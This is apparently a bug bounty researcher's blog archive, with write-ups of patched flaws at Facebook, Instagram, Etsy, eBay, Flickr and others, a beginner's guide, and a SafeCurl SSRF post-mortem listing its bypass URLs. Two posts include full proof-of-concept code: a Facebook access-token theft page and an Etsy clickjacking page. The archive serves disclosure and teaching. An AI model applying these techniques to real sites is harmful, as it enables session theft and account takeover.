After clicking “Accept”, a redirect is issused back to the administation panel, with our code as a parameter.

This is where the application should then exchange the code for an access token, and validate the returned user ID against either a whitelist, or at the very least verify that the domain is bountyapp.co.

But, in this case, the assumption is made that if you managed to login, you are an employee with an @bountyapp.co email.

The requested userinfo.profile permission doesn’t contain the user’s email address, so the application can’t validate it if it tried.

This then presents us with the admin panel.

From here we can now manage various aspects of Periscope, including users and streams.

Fix

Twitter fixed this by making two changes. The first is to request an additional permission:

https://www.googleapis.com/auth/userinfo.email

The second is to correctly validate the user on callback.

Now, the application returns a 401 when trying to authenticate with an invalid user:

HTTP/1.1 401 Unauthorized
Content-Type: text/html; charset=utf-8
Location: /Login
Strict-Transport-Security: max-age=31536000; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 36

<href="/Login">Unauthorized</a>.

Bypassing Google Authentication on Periscope's Administration Panel was originally published by Jack at Jack on July 20, 2015.

Bug Bounties 101 - Getting Started

2014-07-29T00:00:00-00:00

Occasionally I’ll get an email from someone interested in getting involved in bug bounties. Whilst some people are quite protective about giving out information - nervous that having more people participating leaves less bugs, I believe that the more people involved the better. Getting paid for issues and gaining credibility is great, but the end goal should be to improve web security as a whole.

I thought it’d be useful to compile some of the information I give out (as opposed to typing it out each time), and some tips for people starting out. If you have anything to add, shoot me a message and I’ll update this page.

For anyone already working in web application security this is probably a bit too beginner for you.

Bug Bounties

Bug bounties, also known as responsible disclosure programmes, are setup by companies to encourage people to report potential issues discovered on their sites. Some companies chose to reward a researcher with money, swag, or an entry in their hall-of-fame. If you’re interested in web application security then they’re a great way of honing your skills, with the potential of earning some money and/or credibility at the same time.

Required Reading

There is one book that everyone recommends, and rightly so - The Web Application Hackers Handbook, which covers the majority of common web bugs, plus it uses Burp Suite in the examples.

The OWASP Top Ten has a high-level overview of the most common web application bugs.

Blogs

Quite a few people, me included, blog about issues they find. This is a great insight into the type of bugs that exist on sites, plus they’re always an interesting read. These are the ones I can remember off the top of my head.

Toolset

I’ll admit, I don’t use many tools, a lot of the time I’ll write a quick PHP/Python script. I should, it’d make my sessions more efficient, but these are the core ones I use all the time.

One thing to note is that automated scanners (such as Acunetix or Nikto) generate a lot of noise. Most programmes forbid the use of them for this reason. Plus you’re highly unlikely to find something with such a scanner that no one else has found.

Burp Suite - An intercepting proxy which lets you modify requests on the fly, replay requests and so on.
Nmap - Useful for finding additional web servers to investigate (providing the scope of the programme is wide enough)
DNS-Discovery - Find additional sub-domains to investigate

Intentionally Vulnerable Applications

Applications/systems which have vulnerabilities added to them are a fun way of testing out some techniques. You might find pages outputting user data without escaping (leading to XSS), or code which executes SQL queries in an insecure manner (leading to SQL Injection).

Damn Vulnerable Web App
VulnHub (Not all of these are web applications)

Programmes

There are a lot of sites running a responsible disclosure programme now. The big ones are Facebook, Google, Yahoo and PayPal.

If you start looking for bugs on the above sites you might be looking for a good week or two without finding anything, since they’ve been around for a while. One option is to find a smaller site or a new bounty, which probably won’t have had as many people looking at it.

A good tip is to signup for one of the many sites which host bounties on behalf of other companies. This lets you submit reports in a common format and track the progress - easier than emailing for updates.

Bugcrowd
CrowdCurity
HackerOne
Synack (You do need to apply and pass a test to join)

Reporting

When submitting a bug, you need to realise that different companies have different time frames for triaging and patching issues. Combined with the volume of reports, you may have to wait a few days/a week for a response. If you first language isn’t English, then it might be wise to submit a short video explaining it.

Don’t be afraid to send in a report, but you’ll have to understand that the severity and impact that you think the bug has could be very different to how the security team views it. As time goes on, you’ll get a feel for what is an issue and what isn’t.

Facebook has compiled a list of the most common false-positives reported.

Bug Bounties 101 - Getting Started was originally published by Jack at Jack on July 29, 2014.

SafeCurl "Capture the Bitcoins" Post-Mortem

2014-05-26T00:00:00-00:00

It’s been a week since I launched the SafeCurl “Capture the Bitcoins” contest, which has been a fun, but humbling event.

Whilst I work as Security Engineer, and submitted my first bug bounty entry two years ago, I come from a development background. I’ve been writing PHP coming up to nine years now, though nothing much in production for the past year and a half.

I wanted to take a break from searching for bugs, so decided to write some PHP (the language I surprisingly love). SafeCurl seemed like a great starting point - a useful package, not too large, and still involving web app security.

Once written, I launched the bounty. Primarilly to give it a thorough test, and partly because I wanted to see what it would be like receiving bug reports rathering than submitting them.

In my head, I’d assumed that it would take ages for someone to bypass my code (if it happened at all). In reality, it took 2 hours. The reason being that I had rushed the project, excited to get it released as soon as possible. Further investigation should have been done at the start, which would have stopped such a silly bypass being possible.

Initially, there was going to be one 0.25B⃦ bounty. However, if the prize was won before most people had seen the site, there’s less incentive to keep looking. So I re-filled the wallet, and assumed this time no one would find a bypass.

I paid out another 0.1B⃦ to two people suggesting a DNS rebinding attack may be possible. Whilst this was just a theory, I created a hot-fix to pin DNS in cURL.

Then, three more 0.25B⃦ bounties caused by inconsistencies in PHP’s URL parsing and the curl_exec function. After the first two were paid out, I declared the bounty over. However, the third was so similar to the previous two, it was only fair to pay out (from my personal wallet).

I’ve rewarded an additional 0.95B⃦ than I’d planned, and I don’t have infinite Bitcoins, but it was worth the money.

Bypasses

As I mentioned above, this was a stupid mistake. In the code, I’d blacklisted certain private ranges (127.0.0.1/32, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), but 0.0.0.0 could also be used to refer to localhost.

The solution was pretty simple - blacklist any reserved ranges.

Found by @zoczus.

DNS Rebinding

I was made aware that my code wasn’t safe from a DNS rebinding attack. This would involve rapidly switching the A record for the domain name from a valid IP (which passes any checks), to an internal IP. Whilst this is theoretical, I’ve played around with it but couldn’t get it to exploit, it was 1am and didn’t want to risk it whilst I was asleep.

Two separate people raised it at the same time. Whilst I could have just paid the first, I thought it’d be fair to pay both since they came up with it independently (the Facebook attitude).

For this, the IP returned from gethostbynamel is pinned by replacing the hostname in the URL with the IP, then passing the original hostname in the HTTP “Host” header.

Found by @47696d6569 and rynac.

URL parsing issue #1

This was an interesting one. Whilst the btc.txt file couldn’t be accessed, it did bypass all other checks of SafeCurl so was worthy of the bounty. Passing http://user:[email protected][email protected] to parse_url causes google.com to be returned (PHP sees [email protected]? as the password). However, when the full URL is given to curl_exec, it sees safecurl.fin1te.net as the host, and @google.com/ as the query string. Pretty cool trick.

A quick solution for this was to disable the use of credentials in the URL. This worked, until the next bypass was found.

Found by @shDaniell.

URL parsing issue #2

Similar to the previous, passing http://validurl.com#user:[email protected] causes parse_url to see validurl.com as the host, and user:[email protected] as the fragment. Like before, curl_exec handles this differently and uses safecurl.fin1te.net.

This was patched by using rawurlencode on the username, password and fragment to prevent the URL getting parsed differently.

Found by Marcus T.

URL parsing issue #3

And the last one was again very similar. I didn’t URL encoded the query string, so http://google.com?user:[email protected] was used to bypass the check.

The path and query string are now URL encoded too, with certain characters (& = ; [ ]) left intact, else the receiving may not parse it properly.

Found by @iDeniSix.

Lessons Learnt

Lesson #1 - Don’t Rush

The first issue, along with typos, were caused by me rushing the project. These could have been prevented by taking it a bit slower, and by doing a proper design and investigation phase before starting development.

Lesson #2 - Bug Bounties are a Great Idea

Had I launched my code straight into production, without having ~1,000,000 attempts to bypass it, would have meant that the issues above would not have been fixed, thus causing vulnerable code to be deployed.

There is a price to pay, namely the Bitcoins I paid out, but this is nothing compared to the cost of someone using it for malicious purposes.

Lesson #3 - Have Unit Tests, Get Code Reviews

This is something I’ve learnt from development in “real-life”. Unfortunately I didn’t apply this to my own project (partly because it was just me working on it, partly because of Lesson #1). Unit tests do seem a bit of a chore to write sometimes, but they can catch a lot of bugs being re-introduced in the codebase. Plus having someone look over your code from a different perspective is invaluable.

Lesson #4 - You’re Not as Good as You Think

This may sound like a horrible lesson, but it’s not. Having something “secure” you wrote be ripped to shreds is a really awesome thing. It makes you realise that there may be gaps in your knowledge, and you now know where they are, and how to fix them. I’m really excited to launch another for this exact reason.

Going Forward

SafeCurl version 2 will be released shortly. This will include real unit tests covering the code, and test cases for each of the bypasses (and any other techniques I can find). Plus, experimental IPv6 support will be added.

Another bounty will be launched at some point. Whether it’s a SafeCurl bounty, or another concept, I’ve not decided.

I will also be looking to port SafeCurl to other languages such as Java, Python, Ruby, etc. This will be more of a challenge, since my strongest skills lie with PHP. If anyone wants to help out drop me a message.

Statistics

A great part of the event was looking inside the Apache access logs to see some of the attempts people were making. I’ve included statistics, if you’re curious.

Total attempts 1,140,803

Average attempts per person 651

Average attempts per person (Excluding top 10) 20

SafeCurl "Capture the Bitcoins" Post-Mortem was originally published by Jack at Jack on May 26, 2014.

SafeCurl: SSRF Protection, and a "Capture the Bitcoins"

2014-05-19T00:00:00-00:00

Server-Side Request Forgery attacks involve getting a target server to perform requests on our behalf. Rather than covering some great material already published, this post will be to introduce a new PHP package designed to help prevent these sort of attacks.

Protections

To protect our scripts from being abused in this way, we simply validate any URL or file path being passed to functions which can send requests. Of course, this is easier said than done.

The first step is to validate the provided scheme (and port if specified). This is to stop requests to PHP’s extra protocols (php://, phar://) which would let an attacker read files off of the file system.

The second is to validate the URL itself. This is to make sure that someone isn’t requested a blacklisted domain (such as https://jira.fin1te.net), or a private/loopback IP (such as 127.0.0.1). You should also resolve any domain names to their IP addresses, and validate these to make sure someone doesn’t use a DNS entry pointing to an invalid IP.

Lastly, any redirects which cURL would normally handle should be caught, and the URL specified in the Location header validated using the above steps.

Putting this all together, we get SafeCurl.

SafeCurl

SafeCurl has been designed to be a drop in replacement for the curl_exec function in PHP. Whilst there are other functions in PHP which can be used to grab the contents of a URL (file_get_contents, fopen, include), curl_exec is the most popular. In future versions, support for other functions will be added.

To use SafeCurl, simply call the SafeCurl::execute method where you’d usually call curl_exec, wrapping everything in a try/catch block.

By default, SafeCurl will only allow HTTP or HTTPS requests, to ports 80, 443 and 8080, which don’t resolve to a private/loopback IP address.

If you wish to specify additional options, instantiate a new Options object and pass in your custom rules. Domains are accepted in regular expression format, and IPs in CIDR notation.

More usage information is available on the Github project. If you find any issues please raise them, or better yet, submit a pull request.

If you manage to find a way of bypassing it completely, then please participate in the bounty.

Bounty (Capture the Bitcoins)

In order to give SafeCurl a real-world test, I’ve hosted a demo site, which lets you try out the different protections.

The document root contains a Bitcoin private key, with 0.25BTC contained within. This file is only accessible from localhost, so if you do bypass it, grab the file and the Bitcoins are yours.

The source code for the site is also available, if you’re interested.

For more information see the Bounty page.

SafeCurl: SSRF Protection, and a "Capture the Bitcoins" was originally published by Jack at Jack on May 19, 2014.

Abusing CORS for an XSS on Flickr

2013-12-12T00:00:00-00:00

I recently found an XSS on the mobile version of Flickr (http://m.flickr.com). Due to the way the bug is triggered, I thought it deserved a write-up.

Whilst browsing the site, you’ll notice that pages are loaded via AJAX with the path stored in the URL fragment (not as common these days now that pushState is available).

When the page is loaded, a function, q() (seen below), is called which will check the value of location.hash, and call F.iphone.showSelectedPage().

In order to load pages from the current domain, it checks for a leading slash. If this isn’t present, it prepends one when calling the next function, F.iphone.showPageByHref().

This function then performs a regex on the URL (line 160) to ensure that it’ll only load links from m.flickr.com. If this check fails, and the URL starts with a double slash (relative protocol link), it prepends it with http://m.flickr.com. Pretty solid check, right?

Incase you didn’t notice, the first regex doesn’t anchor it to the start of the string. This means we can bypass it providing our own URL contains m.flickr.com.

We can get our own external page loaded by passing in a URL like so:

//fin1te.net/flickr.php?bypass=m.flickr.com

The code will check for a leading slash (we have two :)), which it’ll pass, then checks for the domain, which will also pass, then load it via AJAX.

Since we now have CORS in modern browsers, the browser will send an initial OPTIONS request to the page (to ensure it’ll allow it to be loaded), then the real request.

All we need to do is specify a couple of headers (the additional options in the Access-Control-Allow-Headers are to prevent syntax errors in the Javascript), along with our payload.

The next part of the Javascript dumps the response into an element with innerHTML.

Which leads to our payload being executed.

Fix

This issue is now fixed by anchoring the regex to the start of the string, and also running another regex to check if it starts with a double slash.

Abusing CORS for an XSS on Flickr was originally published by Jack at Jack on December 12, 2013.

Cookie Stealing on Customer Internet Connections

2013-11-19T00:00:00-00:00

tl;dr: ISPs, please reduce your cookie scope.

Everyone now knows that hosting user generated content on a sub-domain is bad. Attacks have been demonstrated on sites such as GitHub, and it’s why Google uses googleusercontent.com.

But what if you’re an ISP. You might not host any user-content, however, you probably assign customers an IP which has Reverse DNS set. You’ll probably see hostnames like 1-1-1-1-ip-static.hfc.comcastbusiness.net or 2.2.2.2.threembb.co.uk.

This isn’t really an issue. The issue is when the hostname assigned is a sub-domain of your own site. If you do this, along with cookies with loose domain scope (fairly common practice), and forward DNS (again, fairly common), then this combination can result in cookie stealing, and therefore account hijacking.

To pull this off, an attacker either needs to be a customer of the ISP they’re targeting, or have access to a machine of a customer (pretty easy with the use of botnets). A web server is then hosted on the connection, and referenced by the hostname assigned (as opposed to the IP).

Example

Rather than showing a real world example, I’d rather keep the companies names private, I’ve setup a proof-of-concept.

We have a fake ISP hosted on fin1te-dsl.com, which mimics an ISPs portal. Registering an account and logging in generates a session cookie (try it out).

We also have a site (152-151-64-212.cust.dsl.fin1te-dsl.com) which in real life would be hosted on a users own connection. A page, 152-151-64-212.cust.dsl.fin1te-dsl.com/debug.php, is hosted to display the cookies back for debug purposes.

Now, we just need a user who has a session to submit a request to our own site and we can grab them. Since we’re accessing the cookies via the HTTP request and not via Javascript, we can write a quick stealer which sets a content-type of image/jpeg and embed the image on a page.

And the cookies show up in the logs.

We just need to set our own cookie to this value and we’ve successfuly hijacked their session.

Out of the four major UK ISPs I tested, two were vulnerable (now patched). If you assume an equal market share (based on 2012 estimates), that’s approximately 10.5 million users who can be potentially targeted. Of course, they have to be logged in - but you can always embed the cookie stealer as an image on a support forum, for example.

Mitigation Techniques

We have three mitigation options. The first is to remove super cookies and restrict the scope to a single domain. This may be impractical if you separate content onto different sub-domains. The second is to disable forward DNS for customers. And the third is to change the hostname assigned to one which isn’t a sub-domain.

In addition, techniques such as pinning a session to an IP address will help to an extent. Unless you store a CSRF token in a cookie, in which case, we can just CSRF the user.

Source

If you want to browse the source code of the proof-of-concept, it’s available on Github.

Note

Since I didn’t have the time to test every single ISP in the world (just the UK ones) for the three requirements that make them vulnerable, I decided to send an email to security@ addresses at the top 25 ISPs - 20 of these bounced, and I received no reply from the other 5.

The two UK ones I originally contacted patched promptly and gave good updates, so kudos to you two.

Cookie Stealing on Customer Internet Connections was originally published by Jack at Jack on November 19, 2013.

Instagram's One-Click Privacy Switch

2013-10-31T00:00:00-00:00

Back in April I found three CSRF issues on Instagram, stemming from their Android/iOS App API (which is slightly different from their public API - it’s hosted on their main domain and doesn’t need an access token).

These issues were present in the following end-points:

accounts/remove_profile_pic - This is used to remove the profile picture from an account
accounts/set_private - This is used to mark a profile as private
accounts/set_public - This is used to mark a profile as public

Obviously the best one out of these is accounts/set_public. With a simple GET request we can reveal anyones profile and access their private pictures. Pretty cool.

Facebook patched the holes pretty quickly and I was awarded a decent bounty for it.

Once patched I checked to make sure that it was indeed fixed, and issuing a GET request returns a 405 Method Not Allowed response.

Round Two

I didn’t blog about the issue and completely forgot about it until recently. I decided to have another look at the Android App to see if there was any new end-points to play around with.

Pretty much all API requests within the app call a method named setSignedBody. This generates a hash of the parameters with a secret embedded in an .so file, meaning we can’t craft our own request on-the-fly and submit on the users behalf (without extracting the secret).

However, the three end-points I submitted still didn’t use setSignedBody (presumably because there are no parameters needed), and therefore no token is sent along. Because of this, we can submit a POST request and still perform the attack which was supposed to be fixed!

The use of setSignedBody without a CSRF token means that all end-points are vulnerable to a replay attack. You simply submit the request yourself, catch the request in Burp, and replay to the victim. Unfortunately, this is something I realised after the bug was fixed, so no screenshots available.

So the moral here is that you should double-double-check that an issue is fixed. If I’d been more thorough in testing the fix I would have spotted it sooner than four months, my bad.

Fix

This is now patched by requiring all requests to have a csrftoken parameter. Any request which is signed also requires a _uid parameter to prevent replay attacks (unless you extract the secret…).

The original proof-of-concept now returns a 400 error.

The response body is a JSON object showing the error message.

Instagram's One-Click Privacy Switch was originally published by Jack at Jack on October 31, 2013.

Content Types and XSS: Facebook Studio

2013-10-21T00:00:00-00:00

I’ve found a few bugs on various Facebook satellite/marketing domains (ones which are part of the Facebook brand, but not necessarily hosted/developed by them, and not under the *.facebook.com domain). Most of them aren’t that serious.

This one isn’t an exception, and I wouldn’t normally blog about it, but it’s an interesting use case as to why content types are important.

The bug is an XSS discovered on Facebook Studio. This is linked to by some Facebook marketing pages, and is used to showcase advertising campaigns on Facebook.

There is an area which allows you to submit work to the Gallery. This form conveniently has an option to scrape details from your Facebook page and fill in boxes for you (such as Company Name, Description).

This calls an AJAX end-point with your pages URL as a parameter.

If we set our pages description to something containing HTML/Javascript, it’s properly escaped. However, it’s escaped client-side. The end-point incorrectly sends a content-type header of text/html, when the response is actually JSON.

When browsed to directly (it doesn’t need any CSRF tokens to be viewed, despite the hash param), we see our script executed.

The cool thing about this bug is that whilst it’s not persistent (the payload is fetched when the page is visited), the code is not present in the request body, therefore avoiding Chrome’s XSS Auditor and IE’s XSS Filter.

Had the content type been set to application/json, the code would have not run (until you start to consider content sniffing…).

Fix

The content type is now set correctly.

Timeline

15th August 2013 - Issue Reported
21st August 2013 - Acknowledgment of Report
21st August 2013 - Issue Fixed

Content Types and XSS: Facebook Studio was originally published by Jack at Jack on October 21, 2013.

Removing Covers Images on Friendship Pages, on Facebook

2013-09-25T00:00:00-00:00

This is a quick post about a simple bug I found on Friendship Pages on Facebook. (Note: Not nearly as cool as a full account takeover, however!)

Friendship Pages show you how two users on Facebook are connected, with posts and photos they’re both tagged in, events they’ve both attended and common friends. On these pages, you’re given the option to upload a cover photo (like you would on your profile, or an event).

Removing A Cover

The cover photo on someones friendship page, we can remove from any account.

First, we need the friendship_id, which can be obtained with an AJAX call to /ajax/timeline/friendship_cover/selector, where profile_id is one user and friend_id is another.

Using this friendship_id we make an AJAX call to /ajax/timeline/friendship_cover/remove, placing the value into the profile_id parameter.

Refresh the page, and it’s disappeared.

Fix

Now, you can only remove your own cover.

Timeline

29th August 2013 - Reported
2nd September 2013 - Acknowledgment of Report
2nd September 2013 - Issue Fixed

Removing Covers Images on Friendship Pages, on Facebook was originally published by Jack at Jack on September 25, 2013.

Hijacking a Facebook Account with SMS

2013-06-26T00:00:00-00:00

This post will demonstrate a simple bug which will lead to a full takeover of any Facebook account, with no user interaction.

Facebook gives you the option of linking your mobile number with your account. This allows you to receive updates via SMS, and also means you can login using the number rather than your email address.

The flaw lies in the /ajax/settings/mobile/confirm_phone.php end-point. This takes various parameters, but the two main are code, which is the verification code received via your mobile, and profile_id, which is the account to link the number to.

The thing is, profile_id is set to your account (obviously), but changing it to your target’s doesn’t trigger an error.

To exploit this bug, we first send the letter F to 32665, which is Facebook’s SMS shortcode in the UK. We receive an 8 character verification code back.

We enter this code into the activation box (located here), and modify the profile_id element inside the fbMobileConfirmationForm form.

Submitting the request returns a 200. You can see the value of __user (which is sent with all AJAX requests) is different from the profile_id we modified.

Note: You may have to reauth after submitting the request, but the password required is yours, not the targets.

An SMS is then received with confirmation.

Now we can initate a password reset request against the user and get the code via SMS.

Another SMS is received with the reset code.

We enter this code into the form, choose a new password, and we’re done. The account is ours.

Fix

Facebook responsed by verifying that you have permission to modify the phone number on the profile denoted by profile_id.

Timeline

23rd May 2013 - Reported
28th May 2013 - Acknowledgment of Report
28th May 2013 - Issue Fixed

Note

The bounty assigned to this bug was $20,000, clearly demonstrating the severity of the issue.

Hijacking a Facebook Account with SMS was originally published by Jack at Jack on June 26, 2013.

Overwriting Banner Images on Etsy

2013-05-21T00:00:00-00:00

When you create a shop on Etsy, you can upload an image to be used as a banner.

The upload form in the administration section stops you changing the shop to one you don’t control, as expected.

There is, however, an AJAX end-point which can also be used to upload these images. This doesn’t check you’re the owner on upload.

We can easily upload any image we want onto any shop we want. This could be used to damage a business’s reputation, or like what happened on the Silk Road, upload a banner which prompts any prospective customers to send any orders and payments to an email address we control.

Fix

Etsy fixed this in a simple way - they now check you’re the owner on upload.

Overwriting Banner Images on Etsy was originally published by Jack at Jack on May 21, 2013.

Stealing Facebook Access Tokens with a Double Submit

2013-04-13T00:00:00-00:00

After the wave of OAuth bugs reported recently, It’s my turn to present a just as serious (but slightly less complicated) issue.

On the Facebook App Center, we have links to numerous different apps. Some have a “Go to App” button, for apps embedded within Facebook, and others have a “Visit Website” button, for sites which connect with Facebook. The “Visit Website” button submits a POST request to ui_server.php, which generates an access token and redirects you to the site.

The form is interesting in that it doesn’t present a permissions dialog (like you would have when requesting permissions via /dialog/oauth). This is presumably because the request has to be initiated by the user (due to the presence of a CSRF token), and because the permissions required are listed underneath the button.

During testing, I noticed that omitting the CSRF token (fb_dtsg), and orig/new_perms generates a 500 error and doesn’t redirect you. This is expected behaviour.

However, in the background, an access token is generated. Refreshing the app’s page in the App Center and hovering over “Visit Website” shows that it is now a link to the site, with your access token included.

Using this bug, we can double-submit the permissions form to gain a valid access token. The first request is discarded - the token is generated in the background. The second request is sent after a specific interval (in my PoC I’ve chosen five seconds to be safe, but a wait of one second would suffice), which picks up the already generated token and redirects the user.

The awesome thing about this bug is that we don’t need to piggy-back off an already existing app’s permissions like in some of the other bugs, we can specify whatever ones we want (including any of the extended_permissions).

When the user is sent to the final page, a snippet of their FB inbox is displayed, sweet! In a real-world example, the inbox would obviously not be presented, but logged.

Full PoC

<!-- index.html -->
<html>
    <head></head>
    <body>
        <h3>Facebook Auth PoC - Wait 5 Seconds</h3>
        <!-- Load the form first -->
        <div id="iframe-wrap">
            <iframe src="frame.html" style="visibility:hidden;"></iframe>
        </div>
        <!-- Load the second after 5 seconds -->
        <script>
            setTimeout(function(){
                document.getElementById('iframe-wrap').innerHTML = '<iframe src="frame.html" style="width:800px;height:500px;"></iframe>';
            }, 5000);
        </script>
    </body>
</html>
 
<!-- frame.html -->
<form action="https://www.facebook.com/connect/uiserver.php" method="POST" id="fb">
    <input type="hidden" name="perms" value="email,user_likes,publish_actions,read_mailbox">
    <input type="hidden" name="dubstep" value="1">
    <input type="hidden" name="new_user_session" value="1">
    <input type="hidden" name="app_id" value="359849714135684">
    <input type="hidden" name="redirect_uri" value="https://fin1te.net/fb-poc/fb.php">
    <input type="hidden" name="response_type" value="code">
    <input type="hidden" name="from_post" value="1">
    <input type="hidden" name="__uiserv_method" value="permissions.request">    
    <input type="hidden" name="grant_clicked" value="Visit Website">
</form>
<script>document.getElementById('fb').submit();</script>

Fix

Facebook has fixed this issue by redirecting any calls to uiserver.php without the correct tokens to invalid_request.php

Stealing Facebook Access Tokens with a Double Submit was originally published by Jack at Jack on April 13, 2013.

Framing, Part 1: Click-Jacking Etsy

2013-02-05T00:00:00-00:00

Back in October, I found a couple of issues in Etsy, which when combined could be used in a click-jacking attack.

Incorrect Error Handling

Pretty much all forms on Etsy have a token attached to prevent CSRF attacks. Failing to provide, or providing an incorrect token will result in the form not being processed, and an error page will be displayed.

If we submit a POST to the search page, the request is (correctly) not processed. But, rather than showing the generic error page, we get the homepage instead.

This isn’t that interesting, nor very useful. However, this combined with…

Bypassing X-Frame-Options with a Referrer

The value of the X-Frame-Options header across Etsy is SAMEORIGIN, meaning that only pages from the same domain will load in a frame, else a blank screen is displayed, thus thwarting click-jacking attacks. The value of the Referer header is checked, and if the domain is etsy.com, the response back is ALLOW, rather than SAMEORIGIN. Luckily, in the previous issue, when the homepage is returned, no X-Frame-Options header is sent!

<!-- poc.html -->
<iframe src="poc-iframe.html"></iframe>
 
<!-- poc-iframe.html -->
<form id="etsy" action="http://www.etsy.com/search.php" method="post">
<input type="hidden" name="search_query" value="">
</form>
<script>document.getElementById('etsy').submit();</script>

So now that we can successfully frame the home-page, all we need to do is get a user to click links on the framed page, and we have a way of framing any page on the site.

Of course, this requires a user to click multiple times (since there isn’t any sensitive actions that can be performed with one click on the homepage). The best way is to turn it into some sort-of game (my creativity is lacking, hence the simplicity).

We use setTimeout to change the position of the iframe after a x seconds (to give the page enough time to load), and entice the user to click the stopwatch (which contains each link underneath).

We use the pointer-events: none; CSS value to pass the click through the image and to the link.

The four clicks do the following:

Navigate to Registry
Edit Registry
Delete
Confirm Delete

The user has now successfully deleted their wedding registry! Ouch.

Full PoC

<!DOCTYPE html>
<html>
    <head>
        <title>Etsy Clickjacking - POC</title>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.js"></script>
        <link href="http://twitter.github.com/bootstrap/assets/css/bootstrap.css" rel="stylesheet">
        <style>
            #iframe-wrap {
                height: 15px;
                overflow: hidden;
                position: relative; 
                width: 15px;
            }
            #iframe-wrap img {
                background: #fff;
                cursor: pointer; 
                height: 15px;
                pointer-events: none;
                position: absolute;
                width: 15px;
                z-index: 2;
            }
            iframe {
                border: none;
                height: 1600px;
                position: absolute;
                width: 980px;
                z-index: 1;
            }
            /* State One - Registry Link */
            iframe.state-1 {
                left: -75px;
                top: -11px;
            }
            /* State Two - Edit Link */
            iframe.state-2 {
                left: -953px;
                top: -270px;
            }
            /* State Three - Delete Link */
            iframe.state-3 {
                left: -520px;
                top: -700px;
            }
            /* State Four - Confirmation Link */
            iframe.state-4 {
                left: -365px;
                top: -755px;
            }
        </style>
    </head>
    <body>
        <h3>Etsy Clickjacking - POC</h3>
        <h4>Click the stopwatch when the time runs out...</h4>
        <h4>Time Remaining: <span id="time">5 seconds</span></h4>
 
        <div id="iframe-wrap">
            <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABcAAAAbCAYAAACX6BTbAAAACXBIWXMAAAsTAAALEwEAmpwYAAABeklEQVRIib2V3XXCMAyFP3P6HjZghHQDGKEbpBtkBEZghIwAnYBuQDtBugHdQH3ABln1X/NQn6NzEuvqWrpKZCci1JZzLgKJiKsGAasW0NJVJXfOdUvJXYssS9dTUwbO9cDav36LyGcBOwJfIvKGiCQNGIAjIBk7AoOJmZR/SJFugblAam0GtgnycyrbVlJrgzrgCvQ14hkYgV7her+Xqi4csBERdIAF7nP9UAftE3GPRDzonMrAEAkgmcbr2LPysW3JOEeeqSA0OOrwXJAgS+79ugeTiLACdjzWieVLx945f5WTyEpXN2UwkbxBlhZysYEt5P86ctdJFLxmnquxFyp6Nn4tui+XoPmBWNNN7c9MEG8MxyGQW8dxAbkdzdFsmYwzK09Fjig2ADpuYzKaESWJfMV2Jl2BLmDud6i/yt4TXT/5/Q///sztD3wxuG9gJ/oKNNn0/O0Wus8k1KiNZDEHdIkvqGQHLUWR3Gg6el11P65+byz1RET4AYyC/W+xIwcgAAAAAElFTkSuQmCC">
            <iframe class="state-1" src="poc-iframe.html"></iframe>
        </div>
 
        <script>
            $(function(){
                var t = 4;
                var r = 3;
                var changeState = function(state) {
                    $('#time').html(t + ' seconds');
                    if (t == 0) {
                        clearInterval(i);
                        if (state == 4) {
                            //All over
                            $('#time').html('completed');
                            return;
                        }
                        r = 2;
                        i = setInterval(function(){resetIframe(state + 1)}, 1000);
                    }
                    t--;               
                };
                var resetIframe = function(state) {
                    $('#time').html('resetting...');
                    if (r == 0) {
                        $('iframe').removeClass('state-' + (state - 1)).addClass('state-' + state);
                        clearInterval(i);
                        t = 4;
                        i = setInterval(function(){changeState(state)}, 1000);
                    }
                    r--;
                };
                //Start countdown
                var i = setInterval(function(){changeState(1)}, 1000);
            });
        </script>
    </body>
</html>

Regrettably I didn’t take any screenshots when I reported this issue, and now that it’s fixed my only option is to photoshop them (which I won’t do). So you’ll have to take my word for some of it.

Fix

The fix was done in two stages. Firstly, the CSRF token was removed from the search form, presumably because there aren’t any modifications being made to user data, so it’s pointless. Secondly, the referrer checking was removed and SAMEORIGIN was enforced across all pages.

The second fix took longer to deploy, presumably due to the scale and amounts of testing required.

Framing, Part 1: Click-Jacking Etsy was originally published by Jack at Jack on February 05, 2013.

Persistent XSS on myworld.ebay.com

2013-01-27T00:00:00-00:00

On eBay, the My World section allows users and businesses to construct a profile, with shipping information, returns policies, and also blocks of arbitrary text specified by the user.

All of the input boxes have a note below saying that you can’t add HTML, so I was interested to see how it checks/prevents you from entering any.

I tried adding in some tags, <a>, <span>, <script>, however they’re all filtered out. In addition to this, you can’t use double quotes (so you can’t break out of attributes). However, it turns out they use a blacklist of HTML tags. I tried a deprecated tag, <plaintext>, and to my surprise it passed through fine.

I don’t like the plaintext tag, as it caused the rest of the page to render horribly (as expected), so I tried a few more. <fn> and <credit> both passed through too.

Now we have a way to inject HTML, I added an onhover event to the injected element. Without the use of quotes, we can use the String.fromCharCode function and eval to load an external script - this is necessary as the character limit on the textbox is 1k.

From this point onwards, it is trivial to weaponise this into a working worm. We get the username from the element #gh_uh, construct a form post to the bio page and add ourselves to the logged in users bio.

There is no CSRF protection on this form, which makes it even easier as we don’t need to scrape a token from anywhere.

In addition to this, all of the cookies are stored under *.ebay.com, and they’re not using HTTPOnly so we can steal this too.

Fix

eBay responded by encoding all HTML entities on output.

Persistent XSS on myworld.ebay.com was originally published by Jack at Jack on January 27, 2013.

Vodafone: No Pasting into Password Fields

2012-10-30T00:00:00-00:00

Everyone knows by now that you should use unique, random passwords for each of your online accounts, to prevent the probability that it’ll be cracked in the event that hashes are leaked, and to limit the damage caused if your plain text password is discovered.

I, like many people, use a password manager to store each of these, and on a login form I’ll copy and paste the password into the field.

Whilst attempting to access my Vodafone account, I noticed that using JavaScript they’ve disabled pasting into the field (both by right-click -> paste, and keyboard shortcut), which is a huge inconvenience as I have to manually type it out each time.

I thought an easy way to disable this was to disable JavaScript, but apparently it’s needed for a simple POST request, so it redirects you to a “JavaScript is needed” page.

Now, I could stop this redirect using developer tools in Chrome, but an easier way is to run the following to remove the event handlers on the element. A workaround, but a workaround that shouldn’t be needed in the first place.

This is reminiscent of the disable right-click “security” implemented in the 90s.

I’ve sent Vodafone an email, hopefully they’ll respond with an explanation and maybe (not holding my breath) a fix.

Vodafone: No Pasting into Password Fields was originally published by Jack at Jack on October 30, 2012.

Jack

From Bug Bounty Hunter, to Engineer, and Beyond

“Old-School” Bug Bounty

First Reward
